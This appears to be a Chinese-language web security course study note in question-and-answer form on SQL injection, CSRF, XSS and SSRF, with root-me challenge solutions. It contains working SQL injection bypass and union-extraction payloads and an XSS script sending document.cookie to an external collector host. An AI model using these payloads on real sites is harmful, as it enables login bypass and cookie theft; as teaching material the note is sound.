# н websec2023-F1

### H2 SQL注入

### 问题:

- 1. 为什么会产生注入?
- 2. 发起SQL注入攻击的条件?
- H3 3. 举一个SQL注入绕过身份认证的例子?
  - 4. union 查询的用途?
  - 5. 利用Union查询获取信息的流程?
  - 6. Stacked Queries和Union Queries区别?
  - 7. Union vs Union All
  - 8. 盲注和非盲注的区别, 为什么要盲注? 如何盲注?
  - 9. 什么是通配符攻击,可能造成什么后果?
  - 10. 如何预防SQL注入?
  - 11. 列举简单的过滤绕过技巧?

### 回答:

**H3** 

- 1. 对于大部分导致代码执行的注入,**外部数据**被当成**代码**拼接并执行,导致了恶意代码非预期的执行。数据和代码应该是被分开的,通常代码由 web 应用的开发者提供,具体用户的数据由各用户提供,如果用户输入的数据成为代码,就可能产生注入攻击。
- 2. 基本的两个条件:
  - 1. 输入的参数是用户可以控制的
  - 2. 输入的参数被带到数据库中执行
- 3. 利用 or true 格式改变查询逻辑,绕过校验

```
where username = '{}' and password = '{}'
where username = 'root' or 1=1 -- ' and password = '{}'
// 输入为: root' or 1=1 --
// root: 没有什么用处,可以去除
// ': 闭合预先设置好的字符串,破坏原有查询结构
// or 1=1: 输入代码,改变原有 SQL 逻辑,SQL where 条件变为永真
// --: 注释掉原有的后续逻辑,避免引号不平衡导致的错误,或不相关逻辑。
where username = '{}' and password = '{}'
where username = 'root' and password = '' or 1=1 --'
```

4. 通常通过注入可以干扰查询条件,从而泄露表中大量结果,但是攻击者感兴趣的敏感信息,不一定存在于注入点查询的表中。通过union,可以开启一个由攻击者控制目标表的查询,方便获取到感兴趣的信息。

#### 5. 过程如下

- 1. 由于 union 查询需要连接的两个查询结果列数相同,因此需要确定列数。可以使用逐个尝试的方法,(依次连接 select 1 -- 、 select 1, 2 -- 。。。)
- 2. 我们的目标是窃取数据库中的信息,因此需要能够看到目标信息,需要将目标信息放在一个会回显的位置(一些原本用于放置图片或数字的地方可能无法回显字符串),如果已经确定查询结果有3列,只要看 1,2,3 这几个数字哪些在页面上显示了即可。
- 3. 如果已经知道目标数据库-表-列这些信息,则可以直接查到结果并令其回显,否则,需要进一步收集信息;数据库一般会保存自身结构的一些信息,但是因数据库类型而异,此下面以 mysql 为例。
- 4. 获取数据库信息,当前数据库可以方便使用 database 函数获取,如果目标不在当前数据库,也可以在 information\_schema.schemata 查询所有数据库名。
- 5. 获取表信息, information\_schema.table 。。。
- 6. 获取列信息, information\_schema.columns 。。。
- 7. 最后按照第三步的方式查询目标数据 union select 1, xx, 3 from xxx

#### 6. 区别:

- 1. 堆叠查询执行的是多个查询, union 查询是一个查询;
- 2. union 查询需要查询的列数保持一致,而堆叠查询不需要;

- 3. union 查询会将结果拼接在一起,常用于泄露敏感信息,而堆叠查询由于使用注入造成多个查询的场景不是web应用预期的,其查询结果不容易被获取到;
- 4. 堆叠查询可以执行非 select 语句,可能被用于破坏性攻击。
- 7. union 会查重、会排序, union all 不查重、不排序。
- 8. 分别如下:
  - 1. 主要区别在于是否存在直接的回显,如果查询结果可以直接返回,就不需要 盲注技术;如果查询结果只能返回布尔值或是根本没有返回值,就需要额外 的盲注工作。
  - 2. 盲注的目的在于在不存在直接回显的情况下获取到敏感信息。
  - 3. 常见的盲注有布尔盲注和时间盲注,其中布尔盲注相当于将查询结果信息编码为二进制,并通过布尔值恢复原始信息;而时间盲注除了需要做布尔盲注同样的工作外,还需要根据二进制内容在目标服务器上创建不同的时延,客户端利用响应时间读出其中的布尔信息。
- 9. 使用了模糊匹配,却没有限制用户输入包含通配内容,导致用户输入通配符后出现大量结果,造成信息泄露。
- 10. 预防手段:
  - 1. 使查询参数化,如预处理语句和存储过程;
  - 2. 黑名单、白名单、输入转义处理等。
- 11. 常用绕过技巧:
  - 1. 大小写绕过关键字检查,如 Union;
  - 2. 双写绕过,如 uniunionon -> uni[union]on -> union
  - 3. 关键字拆分,如 select/\*a\*/name/\*b\*/from/\*c\*/user, 甚至 sel/\*ect\*/ect。

### 练习:

hint: 注意不同数据库类型,可以参考 https://xz.aliyun.com/t/8627#toc-2

https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentic
 ation?lang=en

有时候只需要登录成功,有时候还需要满足其它条件

```
where username = '{}' and passwd = '{}'
where username = 'admin'or 1=1 --' and passwd = '{}'
where username = 'admin'and 1=1 --' and passwd = '{}'
where username = 'admin' --' and passwd = '{}'
where username = 'admin' and passwd = ''or 1=1 order by
username--
```

2. <a href="https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String">https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String</a>

```
' union select 1,2
' union select sql,2 from sqlite_master--
' union select password, 2 from users where username='admin'--
```

3. <a href="https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric">https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric</a>

```
union select 1,2,3
union select 1,sql,3 from sqlite_master
union select 1,username,password from users
```

# H2 CSRF

#### 问题:

- 1. 介绍CSRF
- 2. CSRF的原理?
- H3 3. 举一些CSRF造成攻击的例子?
  - 4. 完成攻击需要的条件?
  - 5. CSRF攻击的请求传递过程?
  - 6. 防范方式?
  - 7. 如果设置了HTTP Only, 能不能防范 CSRF?
  - 8. CSRF和XSS的区别?

### 回答:

- 1. 攻击者通过搭建恶意网站使得受害者机器向目标网站发起请求,请求的后果对 攻击者有利;
- 2. 访问目标网站时,浏览器会自动带上cookie,而目标网站认为带有 cookie 的请 H3 求必然是合法用户的意愿;
  - 3. CSRF 可以以受害者的名义进行点赞等操作,甚至发送邮件、更改密码等;
  - 4. 需要的条件有:
    - 1. 受害者用户在目标网站已经登录;
    - 2. 受害者访问了攻击者搭建的网站。
  - 5. 过程如下:
    - 1. 受害者在目标网站处于登录状态;
    - 2. 受害者访问了攻击者提供的链接(主动);
    - 攻击者的网站中的逻辑会让受害者向目标站点发送请求(被动),这个请求会带上受害者在目标网站的 cookie,目标网站会根据请求内容执行操作,但是执行这些操作不是受害者的本意;

### 6. 方式有:

- 1. csrf token: 服务端发送给客户端的页面中包含 csrf token, 请求时需要携带此 token 到请求头或参数中, 服务端检查 token 的合法性;
- 2. 验证码:不是一个常见的方式,但是如果一个请求需要验证码,则必然要用户交互,这种场景下 CSRF 很难攻击成功;
- 3. referrer: 原理和 csrf token 类似,但是存在被预测的可能。
- 7. 不能,HTTP Only 属性通常用于 XSS 影响缓解,避免恶意 js 窃取 cookie;但是 CSRF 的攻击过程没有窃取 cookie,而是"借"取 cookie,cookie 是在请求时由浏览器带上,HTTP Only 并不阻止这种场景。
- 8. 见表:

XSS	CSRF
受害者访问了 <b>善意网站</b> 链接, <b>受害者机器</b> 执行了恶	受害者访问了 <b>攻击者的链接,受害者机器</b> 发送请求到 <b>善</b>
意代码,可能发送请求到 <b>攻击者服务器</b> 。	<b>意网站</b> 。
通常,XSS 受害者的信息被攻击者窃取,也可能受	通常,CSRF 不会造成信息被窃取,但是请求本身是执
害者被利用执行攻击者想要的操作。	行攻击者想要的操作,这可能对受害者有害。
利用了受害者对善意网站的信任,认为其不会存在	利用了网站对用户的信任,认为持有正确cookie的请求
恶意代码。	都是用户的意愿。
为什么信任被破坏:公开网站可能存在漏洞,被攻	由于浏览器特性,发出带有cookie的请求,未必是用户
击者植入恶意代码。	本意。

# H2 XSS

### 问题:

- 1. XSS介绍?
- 2. XSS是否是注入型攻击?
- H3 3. XSS的攻击对象?
  - 4. XSS的分类,不同类型的XSS特点?
  - 5. 如何验证一个页面是否存在XSS?
  - 6. XSS的常见攻击形式?
  - 7. 如果使用 XSS 窃取信息,攻击者是如何收到信息的? (攻击过程中信息的流向)
  - 8. 什么是AJAX,为什么在XSS的利用中用到AJAX?
  - 9. 攻击者利用 XSS 窃取cookie的过程? (攻击者的操作)
  - 10. XSS防范方式?
  - 11. 如何利用CSRF发起一次XSS,有什么好处?

### 回答:

**H3** 

- 1. XSS 利用了善意网站的漏洞,使得受害者的机器执行了攻击者编写的 js 代码。
- 2. XSS 属于注入型攻击,并属于一种特殊的 HTML 注入。注意,不是所有的 HTML 注入都是 XSS,一些无法注入恶意脚本的场景,HTML 注入也可能被用于钓鱼攻击。
- 3. XSS 的攻击对象是其它用户,可以是普通用户,也可以是管理员用户。但是 XSS 通常不会对服务器造成直接危害。

- 4. 分为 反射型,存储型和DOM型三种,其中:
  - 1. 反射型:恶意代码不会长期存储在服务器上,而是从请求参数中获取,攻击者需要将包含恶意代码的链接发送给受害者,并诱导受害者点击。比较常见的是发送邮件携带 XSS 链接。

```
http://testxss.com/?p=a
-> hello, a
http://testxss.com/?p=<script>alert(1)/</script>
-> hello, <script>alert(1)</script> -- 期望显示的内容
-> hrllo, -- 实际显示的内容,同时触发弹
窗 1
```

- 2. 存储型:恶意代码会长期存储到服务器,导致服务器上有一个或多个页面存在恶意代码。大量用户都有可能访问到这个内容,相比反射型,攻击范围更大,并且隐蔽性更强。
- 3. DOM型:特点在于用户从服务器得到的响应中,一开始并不包含恶意代码,但是随着页面的动态变化,恶意代码会产生,这有助于绕过部分服务器端对 XSS 的保护措施。
- 4. 如果页面会展示自己的输入,只需要输入 <script>alert(1) </script> ,观察是否出现弹窗即可;如果目标页面无法获取(如低 权限用户使用XSS攻击管理员),可以通过向自己的服务器发送请求来 确认代码是否执行。
- 5. 窃取 cookie 本地存储等;利用其它用户的身份,访问需要特定权限的页面等;利用管理员身份完成权限提升等。。。
- 6. 以反射型为例:

假设 A 为善意网站, B 为攻击者服务器 攻击者 -带有恶意代码参数的链接-> 受害者 受害者点击链接 受害者 -带有恶意代码参数的请求-> A A 拼接出带有恶意代码的页面 受害者 <-带有恶意代码的页面 — A 恶意代码在受害者机器执行 受害者 -带有受害者的私人信息(如 cookie)-> B 攻击者在 B 的日志中获取到受害者的信息

- 7. 异步 JavaScript 和 XML,如果希望将获取到的信息传送到自己的服务器,使用 AJAX 相比直接跳转的方式更加难以察觉,增加了攻击的隐蔽性;如果攻击过程需要发送多个请求,并且一些请求依赖其它请求的响应,使用 AJAX 发起攻击更加方便。
- 8. 讨程如下:
- 2. 先找到 XSS 注入点,可以使用问题 5 的方式确认注入点;
- 3. 修改 script 内容, 直到可以读取到想要窃取的信息;
- 4. 搭建服务,进一步修改 script 内容,将读取到的信息发送到自己的服务上;
- 5. 将页面发送给受害者,在服务器等待日志中出现的信息。

### 5. 防范方式如下:

- 1. cookie 设置 HTTPOnly 属性,设置后 javascript 将无法读取 cookie,有效 防止通过 XSS 窃取 cookie,但是 XSS 还是可能造成其它影响;
- 做输入检查,检查用户的输入是否包含特殊字符,如果包含,则对其进行转义、过滤或是拒绝。
- 3. 做输出检查, 检查最终返回给用户的页面是否包含恶意 js 代码。

### 6. 详见:

好处是可以把 **Self-XSS** 利用起来,比如某些网站提供的个人备忘录功能存在XSS,但是别人不能查看备忘录,所以理论上这个xss只能打自己,没有什么用。这个时候如果恰好存在csrf则可以进行结合攻击。

- 1. 利用csrf使受害者修改自己的备忘录,这时恶意代码就在受害者的备忘录页面 躺着了; csrf
- 2. 当受害者访问自己的备忘录时,触发xss,攻击者收到受害者的个人信息,如 token。 xss

假设包含备忘录功能的网站为 A, 受害者为 a, 恶意网站为 C, 攻击者为 c

```
c --> a 发送 C 网站地址, 诱导访问
a --> C 请求 C 网站内容
C --> a C 网站响应中包含恶意内容(预填写的不可见表单、恶意js等)
a --> A a 浏览器执行来自 C 网站的恶意代码(csrf), 发送请求修改自己的备忘录, 使
其包含恶意代码(xss),这个请求的发送不是 a 的本意
a --> A 过一段时间 a 访问自己的备忘录
A --> a A 网站响应中包含因为 XSS 漏洞而被插入的恶意代码
a --> C 如果上面返回的恶意代码为窃取 cookie 代码,则恶意 js 已经窃取了 a 用
户的 cookie 并发送到 C 服务器
攻击者可以在 C 的服务器日志获取 a 的 cookie
C -> a 的恶意代码做了什么事情?
1. 利用 CSRF 向 A 发写备忘录请求,请求内容会向 a 的备忘录写恶意代码
2. 等到 a 请求自己的备忘录,会得到恶意代码,代码内容是向 c 发请求,带有 a 的信
息。
```

### 练习

**H3** 

- 1. <a href="https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected">https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected</a>
  - 寻找隐藏的页面
  - 尖括号被过滤了
  - 利用html标签事件
- 2. https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

```
<script> alert(document.cookie) </script>
https://zzop1.free.beeceptor.com
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://zzop1.free.beeceptor.com/?
p="+document.cookie, true);
xmlhttp.send();
</script>
```

# H2 SSRF

### 问题:

- 1. 介绍SSRF/SSRF的原理?
- 2. SSRF可以干什么?
- H3 3. 应对措施?
  - 4. SSRF vs CSRF

### 回答:

- 1. 服务器端请求伪造,通常是一个服务器具有从其它服务器获取资源的功能,目标地址可以由用户控制,类似 CSRF。
- 2. 可以利用 SSRF 绕过一些基于 IP 白名单的认证、获取内部网络的敏感资源、对 H3 内部网络进行服务扫描以及针对内部网络发起大量资源请求,造成拒绝服务 等。
  - 3. 可以限制对内部请求的端口,并且在目标服务加强认证,不能因为ip白名单就不做认证。另外推荐针对获取内部资源时的请求,搭建资源服务器,使用接口获取资源,便于做权限管理和控制。

### 4. 下表:

SSRF	CSRF
攻击者发送请求到 web 服务器,使得 web 服务器向其它	攻击者将响应发送到受害者浏览器,受害者发送
服务发起请求	请求到善意网站
利用了内部服务网站对 web 服务器的信任,认为来自内	利用了网站对用户的信任,认为持有正确cookie的
部网络的请求不会是恶意的	请求都是用户的意愿。
利用了内部服务认证机制的不完善,借用 web 服务器的	利用善意网站的漏洞,借用受害者 cookie (身份)
ip (身份) 达成攻击	达成攻击
受害者是 web 应用提供方	受害者是其他用户